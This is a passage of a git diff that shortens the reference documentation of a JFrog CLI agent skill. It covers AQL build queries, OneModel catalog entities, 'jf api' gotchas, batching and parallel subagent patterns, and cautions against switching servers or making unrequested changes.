}).include("repo","path","name","size","sha256")' ``` -Add `"repo":"<repo-name>"` to the criteria when the target repo is known, to -narrow the search further. +Add `"repo":"<repo-name>"` when target repo is known. ## Build info -**Project scoping rule:** Append `?project=<key>` to **every** build detail -API call. When the user provides a project key, use it. When no project key -is provided, use `?project=default` (the built-in default project that covers -the `artifactory-build-info` repo). For AQL queries, scope by -`"repo":"<project-key>-build-info"` (or `"repo":"artifactory-build-info"` for -the default project). +**Project scoping:** `?project=<key>` on **every** build detail call. User key +→ use it; else `?project=default`. AQL: `"repo":"<project-key>-build-info"` or +`"repo":"artifactory-build-info"` for default. -**Server rule:** A 404 from a `?project=<key>` build call is **not** a signal -to try a different server. Use only the resolved server; on any failure, -report and stop. See `SKILL.md` § *Server selection rules*. +**Server rule:** 404 on `?project=<key>` ≠ try another server. Resolved server +only; on failure report and stop. See `SKILL.md` § *Server selection rules*. ### Publishing builds @@ -73,8 +66,8 @@ report and stop. See `SKILL.md` § *Server selection rules*. ### Listing build names -**Do not use `GET /api/build`** — it has no pagination and times out on large -instances. Always use AQL with `limit` and `offset`. +**Do not use `GET /api/build`** — no pagination; times out on large instances. +Always AQL with `limit` and `offset`. **All builds** (no project scope): @@ -84,9 +77,8 @@ jf api /artifactory/api/search/aql \ -d 'builds.find().include("name","number","repo","created").sort({"$desc":["created"]}).offset(0).limit(100)' ``` -**Project-scoped** — filter by the project's build-info repository -(`<project-key>-build-info`, or `artifactory-build-info` for the default -project): +**Project-scoped** — filter by build-info repo +(`<project-key>-build-info`, or `artifactory-build-info` for default project): ```bash jf api /artifactory/api/search/aql \ @@ -94,19 +86,14 @@ jf api /artifactory/api/search/aql \ -d 'builds.find({"repo":"<project-key>-build-info"}).include("name","number","repo","created").sort({"$desc":["created"]}).offset(0).limit(100)' ``` -**Pagination:** The response includes a `range` object with `total` (total -matching records). If `total` exceeds the `limit`, tell the user: *"Showing +**Pagination:** `range.total` vs `limit` → if exceeded, tell user: *"Showing first 100 of N results (paginated). Ask for the next batch if needed."* -For subsequent pages, increment `offset` by 100. +Increment `offset` by 100 per page. -**Output rule (mandatory):** AQL returns one row per name+number pair. -Extract **unique build names** client-side (e.g. -`jq '[.[].builds.name] | unique'`). Present **only the deduplicated list of -build names** to the user. **Do not** include build numbers, timestamps, run -counts, or any per-run details in the response — not even as a "bonus" or -"most recent" table. The user is asking "what builds exist", not "what runs -happened". Only show run-level details if the user explicitly asks for them -in a follow-up. +**Output rule (mandatory):** AQL = one row per name+number. Extract **unique +build names** client-side (e.g. `jq '[.results[].builds.name] | unique'`). Present +**only deduplicated names** — no numbers, timestamps, run counts, or per-run +details (not even "bonus"/"most recent" table). Run details only if explicitly requested. ### Listing runs of a specific build @@ -116,35 +103,29 @@ jf api /artifactory/api/search/aql \ -d 'builds.find({"name":"<build-name>"}).include("name","number","repo","created").sort({"$desc":["created"]}).offset(0).limit(100)' ``` -Add `"repo":"<project-key>-build-info"` to the criteria when a project key -is known. Apply the same pagination rules as above. +Add `"repo":"<project-key>-build-info"` when project key known. Same pagination rules. ### Retrieving full build info -Use the REST detail endpoint for a **single** build run. Always include -`?project=<key>` (or `?project=default` when no key is provided): +REST detail endpoint for a **single** run. Always include `?project=<key>` +(or `?project=default` when no key): ```bash jf api "/artifactory/api/build/<name>/<number>?project=<key>" ``` -This is the only `/api/build` endpoint that should be used — it returns a -single record and does not need pagination. +Only `/api/build` endpoint to use — single record, no pagination. ### When a build is not found -If the detail call returns 404, the build likely belongs to a different -project. **Ask the user for the project key** rather than searching across -repos or servers. +404 on detail call → build likely in different project. **Ask user for project +key** — do not search across repos or servers. ### Repository listing vs build-info `GET /artifactory/api/repositories?project=<key>&type=buildinfo` may return -an empty list even when project-scoped build info exists (for example under -a `*-build-info` repository). Prefer AQL to -discover builds; do not treat an empty repository -list as proof that no -builds exist. +empty list even when project-scoped build info exists (e.g. under `*-build-info`). +Prefer AQL to discover builds; empty repository list ≠ no builds. ## Permissions @@ -164,7 +145,7 @@ Note: `jf rt permission-target-template` is interactive. - Delete group: `jf rt group-delete <name>` - Add users to group: `jf rt group-add-users <group> <users-list>` -To get user details or update users, use `jf api`: +User details/update via `jf api`: ``` jf api /access/api/v2/users/<username> ``` diff --git a/skills/jfrog/references/catalog-entities.md b/skills/jfrog/references/catalog-entities.md index 085bea0..f8e9a87 100644 --- a/skills/jfrog/references/catalog-entities.md +++ b/skills/jfrog/references/catalog-entities.md @@ -3,40 +3,36 @@ When to read this file: - Querying **public package metadata** (descriptions, vulnerabilities, licenses, operational info). -- Working with the **Custom Catalog** (org-specific labels, package views, federation). -- Looking up **vulnerability details** beyond what Xray provides (advisories, EPSS, CWE, known exploits). +- Working with **Custom Catalog** (org-specific labels, package views, federation). +- Looking up **vulnerability details** beyond Xray (advisories, EPSS, CWE, known exploits). - Querying **OpenSSF scorecards**, **ML model metadata**, or **MCP service** registries. -- Using the OneModel GraphQL API with `publicPackages`, `customPackages`, +- Using OneModel GraphQL with `publicPackages`, `customPackages`, `publicSecurityInfo`, `publicLegalInfo`, `publicOperationalInfo`, `publicCatalogLabels`, or `publicRemoteServices` query roots. -Catalog entities are accessed via the **OneModel GraphQL API** -(`/onemodel/api/v1/graphql`). +Catalog entities via **OneModel GraphQL API** (`/onemodel/api/v1/graphql`). -For the OneModel query workflow (credentials, schema fetch, validation, -execution), read `references/onemodel-graphql.md`. +OneModel query workflow (credentials, schema fetch, validation, execution): `references/onemodel-graphql.md`. ## Two catalog layers | Layer | Scope | Description | |-------|-------|-------------| -| **Public Catalog** | Global | JFrog's curated package database — security, legal, and operational metadata for public packages across ecosystems | -| **Custom Catalog** | Organization | Org-specific overlay — custom labels, per-org package views, federation config | +| **Public Catalog** | Global | JFrog global package DB — security, legal, operational metadata across ecosystems | +| **Custom Catalog** | Organization | Org overlay: custom labels, per-org views, federation config | -The Custom Catalog builds on top of the Public Catalog. A public package -can be enriched with org-specific labels and metadata through the Custom -Catalog without altering the underlying public data. +Custom Catalog overlays Public Catalog — org labels/metadata without changing public data. ## Public Catalog entities ### PublicPackage -A package as known to JFrog's global package database. +Package in JFrog global package database. | Field | Description | |-------|-------------| -| `name` | Package name (e.g. `lodash`, `spring-boot-starter-web`) | -| `type` | Package type (e.g. `npm`, `maven`, `pypi`) | +| `name` | Package name (`lodash`, `spring-boot-starter-web`) | +| `type` | Package type (`npm`, `maven`, `pypi`) | | `ecosystem` | Ecosystem identifier | | `description` | Rich-text description | | `homepage`, `vcsUrl` | Package URLs | @@ -53,12 +49,12 @@ Query: `publicPackages.searchPackages(where: {...})`. ### PublicPackageVersion -A specific version with security, legal, and operational analysis. +Specific version with security, legal, operational analysis. | Field | Description | |-------|-------------| | `version` | Version string | -| `isLatest` | Whether this is the latest version | +| `isLatest` | Whether latest version | | `isListedVersion` | Whether visible in Catalog UI | | `publishedAt`, `modifiedAt` | Timestamps | | `trendingScore` | Version-level popularity | @@ -72,76 +68,71 @@ Each version carries three info blocks: ### PublicVulnerability -Vulnerability data richer than what Xray violations expose. Useful for -deep-dive security analysis and advisory lookups. +Richer vulnerability data than Xray violations — deep-dive analysis + advisory lookups. | Field | Description | |-------|-------------| -| `name` | CVE identifier (e.g. `CVE-2021-44228`) | +| `name` | CVE id (`CVE-2021-44228`) | | `ecosystem` | Affected ecosystem | | `severity` | `CRITICAL`, `HIGH`, `MEDIUM`, `LOW` | | `description` | Detailed impact description | | `cvss` | CVSS scores — v2, v3, **and v4** | -| `epss` | EPSS (Exploit Prediction Scoring System) — exploit likelihood | -| `knownExploit` | Known exploit information | -| `withdrawn` | Whether the CVE has been retracted | +| `epss` | EPSS exploit likelihood | +| `knownExploit` | Known exploit info | +| `withdrawn` | CVE retracted | | `aliases` | Alternative identifiers | | `references` | Advisory URLs | | `publishedAt`, `modifiedAt` | Timestamps | -Advisory sources (via `advisories` connection): -- **NVD** — NIST National Vulnerability Database +Advisory sources (`advisories` connection): +- **NVD** — NIST vulnerability DB - **GHSA** — GitHub Security Advisory -- **JFrog Advisory** — JFrog's own research (includes impact reasons) +- **JFrog Advisory** — JFrog research (impact reasons) - **Debian Security Tracker** - **RedHat OVAL** Additional connections: `cwesConnection` (CWE entries), `cpesConnection` -(CPE entries), `publicPackageInfo` (affected packages and versions). +(CPE entries), `publicPackageInfo` (affected packages + versions). Query: `publicSecurityInfo.searchVulnerabilities(where: {...})`. #### Filtering limitations -`searchVulnerabilities` can filter by CVE name, ecosystem, severity, CVSS, -EPSS, known exploit status, and publication date — but **not** by affected -package name. There is no `hasPublicPackageInfoWith` or similar filter on -`PublicVulnerabilityWhereInput`. To find vulnerabilities affecting a specific -package, use one of these alternatives: +`searchVulnerabilities` filters by CVE name, ecosystem, severity, CVSS, +EPSS, known exploit status, publication date — but **not** by affected +package name. No `hasPublicPackageInfoWith` or similar filter on +`PublicVulnerabilityWhereInput`. To find vulnerabilities affecting specific +package, use alternatives: - **Version-level security info** (GraphQL): query - `publicPackages.getPackage(type, name)` and navigate to - `versionsConnection → securityInfo → vulnerabilitiesConnection` to get + `publicPackages.getPackage(type, name)` → + `versionsConnection → securityInfo → vulnerabilitiesConnection` for CVEs affecting specific versions. -- **Individual CVE lookup**: use `searchVulnerabilities(where: { name: "<CVE>" })` - and inspect `publicPackageInfo.vulnerablePublicPackagesConnection` on the +- **Individual CVE lookup**: `searchVulnerabilities(where: { name: "<CVE>" })` + → inspect `publicPackageInfo.vulnerablePublicPackagesConnection` on `generic` ecosystem entry. #### Ecosystem multiplicity -A single CVE appears as multiple `PublicVulnerability` entries — one per -ecosystem. The `ecosystem` field determines which entry you see: +Single CVE → multiple `PublicVulnerability` entries (one per ecosystem). `ecosystem` field determines entry: | Ecosystem | Contains | |-----------|----------| -| `generic` | Non-OS package-level data (npm, maven, pypi, go, etc.) — includes `publicPackageInfo` with vulnerable versions and fix versions | -| `debian`, `redhat`, `ubuntu`, etc. | OS-specific advisory data — severity may differ from NVD; `publicPackageInfo` is typically empty (OS packages are tracked separately) | +| `generic` | Non-OS package-level data (npm, maven, pypi, go, etc.) — includes `publicPackageInfo` with vulnerable + fix versions | +| `debian`, `redhat`, `ubuntu`, etc. | OS-specific advisory data — severity may differ from NVD; `publicPackageInfo` typically empty (OS packages tracked separately) | -When looking up a CVE by name, `searchVulnerabilities(where: { name: "<CVE>" })` -returns all ecosystem entries. To get affected packages and fix versions for -libraries like npm or maven, filter for or focus on the `generic` ecosystem -entry. `getVulnerability` requires both `name` and `ecosystem` — use -`searchVulnerabilities` when the ecosystem is unknown. +CVE lookup by name: `searchVulnerabilities(where: { name: "<CVE>" })` +returns all ecosystem entries. For npm/maven library affected packages + fix versions → filter/focus on `generic` entry. `getVulnerability` requires `name` + `ecosystem` — use `searchVulnerabilities` when ecosystem unknown. ### PublicLicense -License metadata with permission, condition, and limitation details. +License metadata with permission, condition, limitation details. | Field | Description | |-------|-------------| -| `name` | License name (e.g. `Apache-2.0`, `MIT`) | +| `name` | License name (`Apache-2.0`, `MIT`) | | `spdxId` | SPDX identifier | -| `permissions` | What the license permits | +| `permissions` | What license permits | | `limitations` | Restrictions imposed | | `patentConditions` | Patent grant conditions | | `noticeFiles` | Required notices | @@ -150,23 +141,23 @@ Query: `publicLegalInfo.searchLicenses(where: {...})`. ### PublicPackageOperationalInfo -Operational risk assessment for packages and versions. +Operational risk assessment for packages + versions. | Entity | Key data | |--------|----------| -| **OpenSSF scorecard** | Overall score, individual checks with scores and pass/fail | -| **End-of-life** | Whether the package or version is EOL, justification | -| **Popularity** | JFrog popularity by segment and subscription tier, download counts | +| **OpenSSF scorecard** | Overall score + check scores/pass-fail | +| **End-of-life** | Package/version EOL status + justification | +| **Popularity** | JFrog popularity by segment/tier, download counts | ### MCP services and tools -The Public Catalog also indexes MCP (Model Context Protocol) services: +Public Catalog also indexes MCP (Model Context Protocol) services: | Entity | Description | |--------|-------------| -| `PublicMcpService` | An MCP service with name, description, version | -| `PublicMcpTool` | A tool exposed by an MCP service with arguments | -| `PublicMcpRemote` | Remote MCP server configuration | +| `PublicMcpService` | MCP service: name, description, version | +| `PublicMcpTool` | MCP service tool + arguments | +| `PublicMcpRemote` | Remote MCP server config | Query: `publicRemoteServices.searchMcpServices(where: {...})`. @@ -174,7 +165,7 @@ Query: `publicRemoteServices.searchMcpServices(where: {...})`. ### CustomPackage -A package in the organization's private catalog view. +Package in org private catalog view. | Field | Description | |-------|-------------| @@ -188,27 +179,25 @@ Connections: `versionsConnection`, `legalInfo`, ### CustomCatalogLabel -Organization-defined labels for categorizing packages. +Org-defined labels for categorizing packages. | Field | Description | |-------|-------------| | `name` | Label name | -| `description` | What the label represents | +| `description` | What label represents | | `color` | Display color | | `labelType` | `MANUAL` or `AUTOMATIC` | -| `assignmentInfo` | How and when the label was assigned | +| `assignmentInfo` | How/when label assigned | -Labels can be assigned to both custom packages and public packages/versions -within the org's catalog scope. The Custom Catalog mutations allow -creating, updating, and deleting labels. +Labels assignable to custom packages + public packages/versions within org catalog scope. Custom Catalog mutations: create, update, delete labels. ### CustomCatalogFederation -Configuration for federating catalog data across JFrog deployments. +Config for federating catalog data across JFrog deployments. ## Catalog vs. Xray vs. Stored Packages -These three domains provide different views of package and security data: +Three domains, different views of package + security data: | Aspect | Catalog | Xray | Stored Packages | |--------|---------|------|-----------------| diff --git a/skills/jfrog/references/cli-command-discovery.md b/skills/jfrog/references/cli-command-discovery.md new file mode 100644 index 0000000..bbe6263 --- /dev/null +++ b/skills/jfrog/references/cli-command-discovery.md @@ -0,0 +1,39 @@ +# CLI command discovery + +> **Tier B MUST** when discovery beyond `--help` is needed. Not every CLI / setup. + +Use `--help` to verify uncertain options. Do not rely on memorized commands +outside this skill — they may be outdated. + +1. `jf --help` — namespaces and top-level commands +2. `jf <namespace> --help` — subcommands in a namespace +3. `jf <command> --help` — usage, arguments, options + +## CLI namespaces + +| Namespace | Alias | Product | +|-----------|-------|---------| +| `rt` | | Artifactory | +| `xr` | | Xray | +| `ds` | | Distribution V1 | +| `at` | `apptrust` | AppTrust | +| `evd` | | Evidence | +| `mc` | | Mission Control | +| `worker` | | Workers | +| `config` | `c` | CLI server configuration | +| `plugin` | | CLI plugin management | +| `ide` | | IDE integration | + +> **Sunset notice:** JFrog Pipelines has been sunset and is no longer supported. +> Do not use the `pl` CLI namespace or the Pipelines REST API +> (`/pipelines/api/...`). If a user asks about Pipelines, inform them the +> product has been sunset. + +Top-level lifecycle commands (no namespace): `rbc`, `rbp`, `rbd`, `rba`, +`rbf`, `rbe`, `rbi`, `rbs`, `rbu`, `rbdell`, `rbdelr`. + +Top-level security commands: `audit`, `scan`, `build-scan`, `curation-audit`, +`sbom-enrich`. + +Top-level other: `access-token-create` (`atc`), `login`, `how`, `stats`, +`generate-summary-markdown`, `exchange-oidc-token`, `completion`. diff --git a/skills/jfrog/references/cli-gotchas.md b/skills/jfrog/references/cli-gotchas.md new file mode 100644 index 0000000..410b205 --- /dev/null +++ b/skills/jfrog/references/cli-gotchas.md @@ -0,0 +1,80 @@ +# CLI and `jf api` gotchas + +> **Tier B MUST** before `jf api` / AQL / advanced CLI I/O / MCP-via-shell. +> Not tips. Not required for every CLI / `jf setup` (use SKILL.md Tier A floor). +> Tier A bullets do **not** replace this file on Tier B paths. + +Hard rules and known failure modes: + +## MCP tools + +- MCP tools return structured data in the tool result. Read response fields + directly; do not pipe MCP output through shell commands or `jq`. + +## CLI and `jf api` + +- `jf api` requires the **product prefix** in the path. Omitting it returns + 404. See `references/jf-api.md` for the full product-prefix table. +- `jf api` writes the body (success or error JSON) to **stdout** and + `[Info] Http Status: NNN` to **stderr** on every call; non-2xx also exits + 1 and adds `[Warn] jf api: <method> <url> returned NNN`. Pipe stdout to + `jq` directly; **never `2>&1 | jq`** — stderr corrupts the JSON. To keep + diagnostics: `jf api <path> 2>/tmp/err-$$.log | jq .`. +- `jf api` has **no `-L`** (follow redirects) and **no `-o`** (output file). + Save bodies with shell redirection + (`jf api ... > /tmp/out-$$.json`); for + binary downloads through the Artifactory remote proxy prefer `jf rt dl`, + which handles the cache and redirect semantics natively. +- Remote repository content is stored in a `-cache` suffixed repo. Properties + and AQL queries for remote repo artifacts must target the cache repo. + Conversely, `/api/repositories/<key>` only accepts the parent remote key + (without `-cache`) — strip the suffix for configuration lookups. +- **Do not use `jf rt search`** — always use a direct AQL query via + `jf api /artifactory/api/search/aql -X POST -H "Content-Type: text/plain" -d '<aql>'`. + See `references/artifactory-aql-syntax.md`. +- Use `--quiet` flag for non-interactive execution (suppresses confirmation + prompts). **Caution:** `--quiet` is not a global flag — commands that do not + support it (e.g. `jf rt s`, `jf rt ping`) will fail with misleading errors + like "Wrong number of arguments" or "flag provided but not defined". Check + `--help` for a command before adding `--quiet`. +- Use `--server-id` when targeting a non-default server. If a command fails + with `--server-id`, do not retry without it — that silently targets the + default server instead. See `SKILL.md` → Server selection rules. +- Never use interactive commands. All JFrog CLI operations must be performed + non-interactively. Known interactive commands to avoid: `jf config add`, + `jf login`, `jf rt repo-template`, `jf rt permission-target-template`, and + `jf rt replication-template`. For server setup, follow `references/jfrog-login-flow.md`. + For templates, use JSON schemas or REST API. If a command prompts for input + unexpectedly, find the non-interactive alternative via `--help` or REST API. +- `jf config export` output is base64-encoded JSON. Decode with + `base64 -d | jq` to extract fields. +- Build info lookups require a scope (`?buildRepo=` or `?project=`) — + resolve it before calling the API. See `references/artifactory-operations.md` + §Retrieving build info for the full workflow. +- If a `jf api` call returns 401, the configured token may have expired or + been rotated — ask the user to re-run the login flow (see + `references/jfrog-login-flow.md`) for the **same** server. If 403, the + token lacks required permissions. If 404, verify the endpoint path + (especially the product prefix) and target server version. On any of + these errors, do not try a different configured server as a workaround — + that targets a different environment. Report the error and ask the user. +- **Xray contextual analysis:** the summary artifact response has two + applicability fields — `applicability` (top-level, often null) and + `applicability_details` (always present with a `result` string). **Use + `applicability_details[].result` for counts and summaries.** Using the + top-level `applicability` field for aggregation produces wrong counts because + it is null when no scanner exists. See `references/xray-entities.md` + §Contextual analysis for the eight possible result values and jq snippets. +- **OneModel GraphQL:** always fetch the supergraph schema from the **same** + server you query before building operations (schemas differ by deployment); + cache, validate, and execute per `references/onemodel-graphql.md`. +- Never duplicate a network-fetching command to retry `jq` parsing — save the + response to a temp file first (see `references/preserving-command-output.md`). +- When collecting detail responses in a loop (e.g. per-repo GETs), validate + each body with `jq -e .` before appending to a results file. One non-JSON + or empty response corrupts a downstream `jq -s` slurp. Write validated + lines to an NDJSON file, then `jq -s '.' file.ndjson` to produce the final + array. See `references/general-bulk-operations-and-agent-patterns.md`. +- Accumulated edge cases from real tasks live in `references/general-use-case-hints.md` + — read when debugging odd failures; **append** a short entry when you confirm + a new, reusable gotcha. diff --git a/skills/jfrog/references/general-bulk-operations-and-agent-patterns.md b/skills/jfrog/references/general-bulk-operations-and-agent-patterns.md index 2b44979..2fe30f4 100644 --- a/skills/jfrog/references/general-bulk-operations-and-agent-patterns.md +++ b/skills/jfrog/references/general-bulk-operations-and-agent-patterns.md @@ -1,70 +1,55 @@ # Bulk operations and agent execution patterns -Platform-wide guidance for agents that gather data from multiple JFrog products -(Artifactory, Xray, Access, Distribution, etc.), run long shell -sequences, or parallelize work. Product-specific field names and endpoints live -in the other `references/*` files; this document describes **patterns**, not -one workflow. +Platform-wide guidance for agents gathering data from multiple JFrog products +(Artifactory, Xray, Access, Distribution, etc.), long shell sequences, or +parallel work. Product field names/endpoints in other `references/*` files; +this document = **patterns**, not one workflow. ## List vs detail responses -Many REST surfaces expose a **light list** (keys, names, minimal fields) and a -**richer GET by id or key**. Fields needed for audits, reporting, joins, or -permission checks may appear **only** on the detail response. Before building a -multi-step flow on a single list call, confirm in API docs or with a sample GET -whether the fields you need are present. +REST: **light list** + **detail GET**. Audit/join/permission fields often +detail-only — confirm via docs or sample GET before building on list alone. ## Volume, batching, and timeouts -- Estimate **N** round-trips (list + per-item GETs, paginated APIs, etc.) before - starting so execution time and tool timeouts stay predictable. -- Prefer batching independent reads in one Shell invocation when credentials and - tier match (see SKILL.md **Batch and parallel execution**). -- Split very large work across chunks, parallel Shell calls, or subagents when - the skill's tiering guidance says so. -- Before starting an N+1 loop (list + per-item detail), **estimate wall time** - as roughly `N * 1.5s` for sequential calls. Set `block_until_ms` to at - least that estimate plus a 30-second buffer. -- For loops exceeding ~60 items, prefer a single Shell invocation that writes - progress to a log file (`>> /tmp/jf-progress-$$.log`) so partial results - are visible even if the job is interrupted. -- If the task is read-only and items are independent, consider Tier 2 or - Tier 3 parallelism (see `general-parallel-execution.md`) to reduce total time — - but respect rate limits and keep concurrency modest (4-8 parallel calls). +- Estimate **N** round-trips before starting. +- Batch independent reads in one Shell when credentials/tier match (SKILL.md + **Batch and parallel execution**). +- Large work → chunks, parallel Shell, or subagents per tiering. +- N+1 loop: wall time ≈ `N * 1.5s`; `block_until_ms` ≥ estimate + 30s. +- > ~60 items: Shell + progress log (`>> /tmp/jf-progress-$$.log`). +- Read-only independent items: Tier 2/3 (`general-parallel-execution.md`); + rate limits; 4-8 parallel calls. ## Parallelism and shared files -**Unsafe:** Multiple concurrent processes appending lines to the **same** file -(JSONL, logs, ndjson) without synchronization. Output can interleave on one -line and break parsers (e.g. JSON "Extra data" errors). +**Unsafe:** Concurrent processes appending to **same** file (JSONL, logs, ndjson) +without sync → interleaved lines, broken parsers (JSON "Extra data" errors). **Safer:** - Write sequentially to one file; or - One temp file per worker or chunk, then concatenate; or -- Use advisory locking (`flock`) if one file must be shared. +- Advisory locking (`flock`) if one file must be shared. -For bulk API or CLI output files, use `/tmp` or `mktemp`; do not use -`~/.jfrog/skills-cache/` except for `jfrog-skill-state.json` and the OneModel -schema file (see main SKILL.md). +Bulk API/CLI output: `/tmp` or `mktemp`; not `~/.jfrog/skills-cache/` except +`jfrog-skill-state.json` and OneModel schema (main SKILL.md). ## Shell hygiene -- Use `set -euo pipefail` in non-trivial scripts so failures are not silent. -- Use unique temp paths (e.g. `$$` in the filename) and **echo the expanded - path** so it can be reused across Shell calls (see SKILL.md **Preserving - command output** for the `$$` + echo, session ID, and hardcoded patterns). -- Parse CLI and API JSON with **`jq`**. +- `set -euo pipefail` in non-trivial scripts — failures not silent. +- Unique temp paths (`$$` in filename) + **echo expanded path** for cross-call + reuse (SKILL.md **Preserving command output** — `$$` + echo, session ID, hardcoded patterns). +- Parse CLI/API JSON with **`jq`**. ## Safe multi-response collection -When looping over items (repos, builds, users) and fetching detail for each: +Looping items (repos, builds, users) + per-item detail: -1. Save each response to a variable or per-item file. +1. Save each response to variable or per-item file. 2. Validate with `jq -e . >/dev/null 2>&1` before appending. -3. On validation failure, write a structured error line so the caller can - report partial results instead of crashing. -4. After the loop, `jq -s '.' results.ndjson` to produce a single array. +3. On validation failure, structured error line → partial results without crash. +4. After loop, `jq -s '.' results.ndjson` → single array. ```bash : >results.ndjson @@ -79,8 +64,7 @@ done < <(jq -r '.[].key' list.json) jq -s '.' results.ndjson > details.json ``` -Never pipe a loop of `jf api` calls directly into `jq -s` without -per-body validation. +Never pipe loop of `jf api` calls directly into `jq -s` without per-body validation. ## Where to find product specifics diff --git a/skills/jfrog/references/general-parallel-execution.md b/skills/jfrog/references/general-parallel-execution.md index a0bb9ba..be7c252 100644 --- a/skills/jfrog/references/general-parallel-execution.md +++ b/skills/jfrog/references/general-parallel-execution.md @@ -1,20 +1,17 @@ # Batch and Parallel Execution -When a task requires multiple independent operations, use the lightest -parallelism mechanism that fits. Three tiers are available, from lightest to -heaviest: +Multiple independent operations → use lightest parallelism tier: | Tier | Mechanism | Best for | |------|-----------|----------| | 1 | Single Shell call with `&&` | Few commands, same credentials | -| 2 | Parallel Shell tool calls | Independent commands that can run concurrently | -| 3 | Parallel subagents (Task tool) | Large multi-step jobs where each branch needs its own reasoning | +| 2 | Parallel Shell tool calls | Independent commands, concurrency helps | +| 3 | Parallel subagents (Task tool) | Large multi-step jobs, each branch needs reasoning | ## Tier 1: Batch within a single Shell call -Combine independent commands with `&&`. All JFrog API calls go through the -same `jf api` command and the same `jf config` server, so batching them -together is both safe and efficient: +Combine independent commands with `&&`. All JFrog API calls share `jf api` + +`jf config` server — batching is safe and efficient: ```bash jf api /artifactory/api/repositories > /tmp/jf-repos-$$.json && \ @@ -22,18 +19,13 @@ jf api /artifactory/api/system/ping > /tmp/jf-ping-$$.json && \ jf api /artifactory/api/storageinfo > /tmp/jf-storage-$$.json ``` -Cross-product reads batch the same way: - -```bash -jf api /access/api/v2/users/ > /tmp/jf-users-$$.json && \ -jf api /access/api/v2/groups/ > /tmp/jf-groups-$$.json && \ -jf api /access/api/v2/permissions/ > /tmp/jf-perms-$$.json -``` +Cross-product reads (Access, Xray, etc.) batch the same way — same `jf api` +command, just a different path per call. ## Tier 2: Parallel Shell tool calls -Use multiple Shell tool calls in the same message when the commands are -independent and the total runtime benefits from concurrency: +Multiple Shell tool calls in one message when commands are independent and +concurrency cuts runtime: ```bash # Shell call 1 — echo the expanded path so the agent can reference it later @@ -45,20 +37,13 @@ OUT=/tmp/jf-users-$$.json jf api /access/api/v2/users/ > "$OUT" && echo "$OUT" ``` -Each parallel Shell call gets a different PID, so `$$` expands to different -values. Echo the path so the agent knows the literal filename for cross-call -use (see SKILL.md **Preserving command output**). +Each parallel Shell call gets different PID → `$$` differs. Echo path for +cross-call use (see SKILL.md **Preserving command output**). ## Tier 3: Parallel subagents -For tasks with multiple independent branches that each require several steps -or their own reasoning — such as generating a platform health report with -separate sections, auditing both repository config and security policies, or -comparing configurations across servers the user explicitly named — launch -parallel subagents using the Task tool. - -Each subagent runs autonomously, executes its own CLI/API calls, and returns -a structured result. The parent agent assembles the final answer. +Multi-branch tasks (health reports, audits, user-named cross-server compare) +→ Task tool subagents. Each runs autonomously; parent merges results. ### Example — platform audit with three parallel subagents @@ -80,26 +65,20 @@ Subagent 3 (shell): "Collect user and permission data" → Return user count, group count, admin users ``` -All three subagents run concurrently. Once all complete, the parent agent -merges their results into a unified report. +All three run concurrently. Parent merges into unified report. ### How to structure a subagent prompt -1. State the goal clearly (e.g. "Collect all Xray policies and watches"). -2. Provide the exact commands to run, or name the API tier and let the - subagent discover via `--help`. -3. Tell the subagent to save output to `/tmp/jf-<label>-$$.json`, echo the - expanded path, and return a structured summary. -4. Specify what to return (counts, lists, specific fields) so the parent can - assemble the final output without re-reading raw data. +1. State goal clearly (e.g. "Collect all Xray policies and watches"). +2. Exact commands, or API tier + `--help` discovery. +3. Save to `/tmp/jf-<label>-$$.json`, echo expanded path, return structured summary. +4. Specify return fields (counts, lists) so parent need not re-read raw data. ### Subagent type selection -- Use `subagent_type="shell"` for straightforward command sequences where the - commands are known ahead of time. -- Use `subagent_type="generalPurpose"` when the subagent needs to read skill - references, discover commands via `--help`, or adapt its approach based on - intermediate results. +- `subagent_type="shell"` — known command sequences. +- `subagent_type="generalPurpose"` — needs skill references, `--help` discovery, + or adaptive approach from intermediate results. ## When to use each tier @@ -113,19 +92,15 @@ merges their results into a unified report. ## When NOT to parallelize -- A later command depends on the output of an earlier one (use sequential - calls instead and process the output in between). -- The calls include **mutating operations** — keep those separate so the user - can review each one. -- Commands would target different servers — only operate on the server(s) the - user explicitly named (or the default). Never fall back to or iterate - through other configured servers. See SKILL.md **Server selection rules**. -- The task is small enough that a single Shell call completes in seconds — the - overhead of launching subagents is not justified. +- Later command depends on earlier output → sequential calls. +- **Mutating operations** — keep separate for user review. +- Different servers — only user-named (or default). Never fallback/iterate + configured servers. See SKILL.md **Server selection rules**. +- Small task completing in seconds — subagent overhead not justified. ## Aggregating many outputs (JSONL, logs, ndjson) Do **not** have multiple background processes append **unsynchronized** to the -same file — lines can interleave and corrupt machine-readable output. Prefer -sequential writes, one file per worker or chunk then concatenate, or file -locking. See `references/general-bulk-operations-and-agent-patterns.md`. +same file — lines interleave, corrupt machine-readable output. Prefer sequential +writes, one file per worker/chunk then concatenate, or file locking. +See `references/general-bulk-operations-and-agent-patterns.md`. diff --git a/skills/jfrog/references/general-use-case-hints.md b/skills/jfrog/references/general-use-case-hints.md index 416f1cd..0376d29 100644 --- a/skills/jfrog/references/general-use-case-hints.md +++ b/skills/jfrog/references/general-use-case-hints.md @@ -14,7 +14,7 @@ workflow). Keep entries short and actionable. | Sandbox + workspace writes | Generated report JSON or HTML not written; script exits 0 but file missing | Sandbox blocks some paths; agents sometimes wrongly target `~/.jfrog/skills-cache/` for scratch files (disallowed — only state + schema belong there) | Write reports and API responses under `/tmp` or the user workspace; only the two allowed cache files (`jfrog-skill-state.json`, `onemodel-schema-<id>.graphql`) belong in `~/.jfrog/skills-cache/` | `skills-cache/` is not a temp directory; see SKILL.md **`~/.jfrog/skills-cache/` — allowed files only** | | `jf api` and redirects | Responses are empty or contain redirect HTML instead of expected content | `jf api` does not expose `-L`; it follows the redirect chain the Artifactory REST API returns by default but will not transparently hop across an unexpected 3xx to a binary URL | For remote-repo artifact content (e.g. fetching a file via `/artifactory/<repo>/<path>`), use `jf rt dl` instead of `jf api` — it handles 302s to CDN hosts. Reserve `jf api` for REST metadata/operation endpoints. | Applies when reading artifact **content**, not REST metadata | | Curation testing | `jf curation-audit` or `jf npm install` through a curated remote shows 1 download for the tested package even though no user downloaded it | The curation test itself fetches the package through Artifactory, which creates a cache entry and increments download stats | Account for this in download history analysis — the download was the curation test, not a real consumer pull | Also applies to `jf npmc` + `jf npm install` flows | -| Agent-invented mutations | Agent copies or moves artifacts into a local repo to satisfy a precondition for a different operation (e.g., copy a package so evidence can be created on it) | Requested operation failed because the artifact was not in the specified repo; agent autonomously performed a copy/move/upload to "fix" the gap | **Never** perform unrequested copy, move, upload, or create-repo to work around a failed precondition — stop and report the gap to the user. See SKILL.md § Cautious execution rule 6 | Copying into a local repo can silently change 